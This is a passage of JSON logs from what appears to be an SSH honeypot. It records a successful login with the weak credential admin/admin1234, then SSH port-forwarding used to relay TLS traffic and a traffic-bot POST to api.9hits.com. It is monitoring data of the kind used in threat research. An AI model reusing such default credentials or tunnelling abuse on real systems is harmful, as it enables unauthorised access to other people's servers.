{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x80\\x11\\x93{X^\\xd0m\\xe4P\\xcel/\\x97\\xc81\\x04~\\x7f\\x9d\\n\\xf8\\x8e:\\x90X\\xad\\xcb\\\\\\xeboA :\\x15H\\xcb\\xafc\\xd7S$\\x84\\xce\\xd4\\xd0\\x05\\xd1c+\\xb1!4Vj\\x82\\xbd8j\\xe9\\xb5mg%\\xcf\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 ?f\\x01\\x92\\xdc=\\xeb\\x1d\\xcd\\xcc\\xd1\\xa2\\xa7\\x91\\xd2\\xd2\\x15\\xe2>'\\xf1\\x86t\\xaf\\x87\\xe2G\\xbbD\\xaeil\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x80\\x11\\x93{X^\\xd0m\\xe4P\\xcel/\\x97\\xc81\\x04~\\x7f\\x9d\\n\\xf8\\x8e:\\x90X\\xad\\xcb\\\\\\xeboA :\\x15H\\xcb\\xafc\\xd7S$\\x84\\xce\\xd4\\xd0\\x05\\xd1c+\\xb1!4Vj\\x82\\xbd8j\\xe9\\xb5mg%\\xcf\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 ?f\\x01\\x92\\xdc=\\xeb\\x1d\\xcd\\xcc\\xd1\\xa2\\xa7\\x91\\xd2\\xd2\\x15\\xe2>'\\xf1\\x86t\\xaf\\x87\\xe2G\\xbbD\\xaeil\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:07.353096Z","src_ip":"23.175.50.47","session":"fde4d0e100f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:07.458016Z","session":"fde4d0e100f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:07.534644Z","src_ip":"23.175.50.47","session":"fde4d0e100f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4\\xae\\x06I\\xd7\\xfe\\x84\\x00\\xd5zr\\xe9\\x05\\xee[\\x86\\xf6S\\xa1\\nl\\x86C;\\x8b\\x12\\x10\\x12\\xac\\x1d\\xe3S \\xa4\\xde\\xa1\\xc92\\xd2\\xd6&\\x85z\\x80\\xbcA\\x91\\xbc\\xeciA\\x8f,\\x94\\x1di\\xfd:\\\\\\xcdEh\\x99\\x06W\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 A$\\x80\\x11\\xd0H\\x7f\\xea\\xc7C\\x158\\xd3@\\xb8>\\x16\\x99Q\\xb4\\x9fde\\x97\\x9e\\x02\\x8b\\x02\\x13S\\x0bT\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4\\xae\\x06I\\xd7\\xfe\\x84\\x00\\xd5zr\\xe9\\x05\\xee[\\x86\\xf6S\\xa1\\nl\\x86C;\\x8b\\x12\\x10\\x12\\xac\\x1d\\xe3S \\xa4\\xde\\xa1\\xc92\\xd2\\xd6&\\x85z\\x80\\xbcA\\x91\\xbc\\xeciA\\x8f,\\x94\\x1di\\xfd:\\\\\\xcdEh\\x99\\x06W\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 A$\\x80\\x11\\xd0H\\x7f\\xea\\xc7C\\x158\\xd3@\\xb8>\\x16\\x99Q\\xb4\\x9fde\\x97\\x9e\\x02\\x8b\\x02\\x13S\\x0bT\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:07.538359Z","src_ip":"23.175.50.47","session":"fde4d0e100f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:10.295611Z","src_ip":"23.175.50.47","session":"339aa1bf970e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:13.156714Z","src_ip":"23.175.50.47","session":"fde4d0e100f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":53828,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffe2b6551c9e","protocol":"ssh","message":"New connection: 123.27.168.40:53828 (10.17.0.5:22) [session: ffe2b6551c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:18.707221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:18.711334Z","src_ip":"123.27.168.40","session":"ffe2b6551c9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:18.963778Z","src_ip":"123.27.168.40","session":"ffe2b6551c9e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:20.046714Z","src_ip":"123.27.168.40","session":"ffe2b6551c9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:20.450954Z","session":"ffe2b6551c9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:20.569068Z","session":"ffe2b6551c9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:20.697540Z","src_ip":"123.27.168.40","session":"ffe2b6551c9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.85 Mobile/17G80 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Q2RsKkojMXpAN2ZGQ00zdA%3D%3DvwtpCDzkp1%2BiUR7oU0lGpeFh%2FNzgChFn3EAii3KrPozZuBeNJFKlsEs2Ng9AqgthlkmAFHornerrdDrtNOF4weIBVSB6s%2FC4uwCPfhbhrJJNBeOpdfPKF8QKGwlTkIQZD1MbiW00uCmZhcMhNjmi7yZH08bP7Nrm3jUharmoVAt%2B6quEDgcCsfTDSR80DtXCzhW2EivCWh94Sq4yBF3TwM9VuYurLR5CDfjaWzhjme3nPem0fNYcKIQKUN4gxqQMl%2F0%2BUoy6xlOtPmffT%2BQsG5xZAW0rqn9UvM68m9PrjfOiFoToXwclLcJix0HqqemFCkd1EZQKHEJZoqoWZH86q9f5UfmNwu4LMacpWb0qC5eAPS%2B%2BxD30DD%2BiQvu0sHAGlmxZ51uZT5wS34ESPnleOwDp%2BWNHkHM0yvD6liKF34hvE8F9IuIDczKYHbYhCFh%2BIi34n0%2FN%2BrzcxFZU12%2F3PSnXyvbY95HLd6WaKvyD6wt%2BuEqUGnR8FJVHCgDW%2FW9a5hYCi3QHkqvcZWaH0IukUSonRRkNe%2FctS7oxqVcsF%2BAi2pQHiJxAF42%2BS76xAAcfAAHfobLMO%2BLVyCX6C%2FjI6bUgWUWIlwVqUzwE7xrx2ESeJ3pmfNlImsjMkCXMdc0LnQ9kE5eAlAGQsdSD8ako3KvlgMa0Du2W0w%2Bk%2FIzQdz1h890bObn5VUIr0eiZnw4YUB3yC7UXbR%2F6bQR9RzeKnS%2F6MujDIQt5j7jKwMqMogYC6290sedbSyGimD8oToBw4lHlt3n8v5GTrRTfJt36Zw4svGeKNCjQGLe0Gi%2BouNsBp%2BhYj%2BE%2FRygpHDnzGZ5XdDMDPmVLP5KmW7IxmUvBE775fgHHScnce9Q%2BYkr%2BO0m0%2BFMaxs%2B2xRtHVPHQnUQ%2BETWi4QAXy3hY3dZN%2FPqJ7okHrPg0AuHCzVI%2FLPtexleBptvbgsh5Fq%2BLMDebKhq9O223SMqApWX4dn3L%2BHX9yVikIdZwF5ey3YuBnQ8%2F%2FLscwv25ijq0DsonWAT%2FBuo5DjGrWjevQN27K1aGL1Ijfq0qQid0FC%2FI%2F4ne9a1peDI%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.85 Mobile/17G80 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Q2RsKkojMXpAN2ZGQ00zdA%3D%3DvwtpCDzkp1%2BiUR7oU0lGpeFh%2FNzgChFn3EAii3KrPozZuBeNJFKlsEs2Ng9AqgthlkmAFHornerrdDrtNOF4weIBVSB6s%2FC4uwCPfhbhrJJNBeOpdfPKF8QKGwlTkIQZD1MbiW00uCmZhcMhNjmi7yZH08bP7Nrm3jUharmoVAt%2B6quEDgcCsfTDSR80DtXCzhW2EivCWh94Sq4yBF3TwM9VuYurLR5CDfjaWzhjme3nPem0fNYcKIQKUN4gxqQMl%2F0%2BUoy6xlOtPmffT%2BQsG5xZAW0rqn9UvM68m9PrjfOiFoToXwclLcJix0HqqemFCkd1EZQKHEJZoqoWZH86q9f5UfmNwu4LMacpWb0qC5eAPS%2B%2BxD30DD%2BiQvu0sHAGlmxZ51uZT5wS34ESPnleOwDp%2BWNHkHM0yvD6liKF34hvE8F9IuIDczKYHbYhCFh%2BIi34n0%2FN%2BrzcxFZU12%2F3PSnXyvbY95HLd6WaKvyD6wt%2BuEqUGnR8FJVHCgDW%2FW9a5hYCi3QHkqvcZWaH0IukUSonRRkNe%2FctS7oxqVcsF%2BAi2pQHiJxAF42%2BS76xAAcfAAHfobLMO%2BLVyCX6C%2FjI6bUgWUWIlwVqUzwE7xrx2ESeJ3pmfNlImsjMkCXMdc0LnQ9kE5eAlAGQsdSD8ako3KvlgMa0Du2W0w%2Bk%2FIzQdz1h890bObn5VUIr0eiZnw4YUB3yC7UXbR%2F6bQR9RzeKnS%2F6MujDIQt5j7jKwMqMogYC6290sedbSyGimD8oToBw4lHlt3n8v5GTrRTfJt36Zw4svGeKNCjQGLe0Gi%2BouNsBp%2BhYj%2BE%2FRygpHDnzGZ5XdDMDPmVLP5KmW7IxmUvBE775fgHHScnce9Q%2BYkr%2BO0m0%2BFMaxs%2B2xRtHVPHQnUQ%2BETWi4QAXy3hY3dZN%2FPqJ7okHrPg0AuHCzVI%2FLPtexleBptvbgsh5Fq%2BLMDebKhq9O223SMqApWX4dn3L%2BHX9yVikIdZwF5ey3YuBnQ8%2F%2FLscwv25ijq0DsonWAT%2FBuo5DjGrWjevQN27K1aGL1Ijfq0qQid0FC%2FI%2F4ne9a1peDI%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:20.700186Z","src_ip":"123.27.168.40","session":"ffe2b6551c9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:20.953693Z","src_ip":"123.27.168.40","session":"ffe2b6551c9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032[r\\xe7ft\\xf5\\xf0\\x0eM\\xdfQ\\xb8\\x0b\\x81\\xec\\xe0Kx\\xcan\\xc94\\xf1\\xd8\\xf8\\n5\\x82\\xe4\\x89\\r rP\\xf2\\x97\\xce\\x86\\xdc\\x00\\xb0O\\xd5\\x1a\\xc2qvV=T\\x14R\\xca\\xa3\\x8c\\xaa\\r\\xe22\\xc1\\xb5NK\\xe1\\x00 